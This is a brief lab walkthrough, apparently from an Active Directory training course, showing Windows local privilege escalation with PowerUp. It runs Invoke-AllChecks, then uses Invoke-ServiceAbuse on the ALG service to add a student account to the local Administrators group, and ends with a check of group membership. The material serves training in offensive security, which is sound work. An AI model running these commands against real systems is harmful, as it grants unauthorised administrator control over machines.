Loading PowerUp

. .\PowerUp.ps1

Let’s Check PrivEsc Abuses

Invoke-AllChecks

Abusing ALG to get Local Admin Privs

Invoke-ServiceAbuse -Name 'ALG' -UserName 'us\studentuser36'

Now Let’s Check For The Admin Access

net localgroup Administrators

Amazing!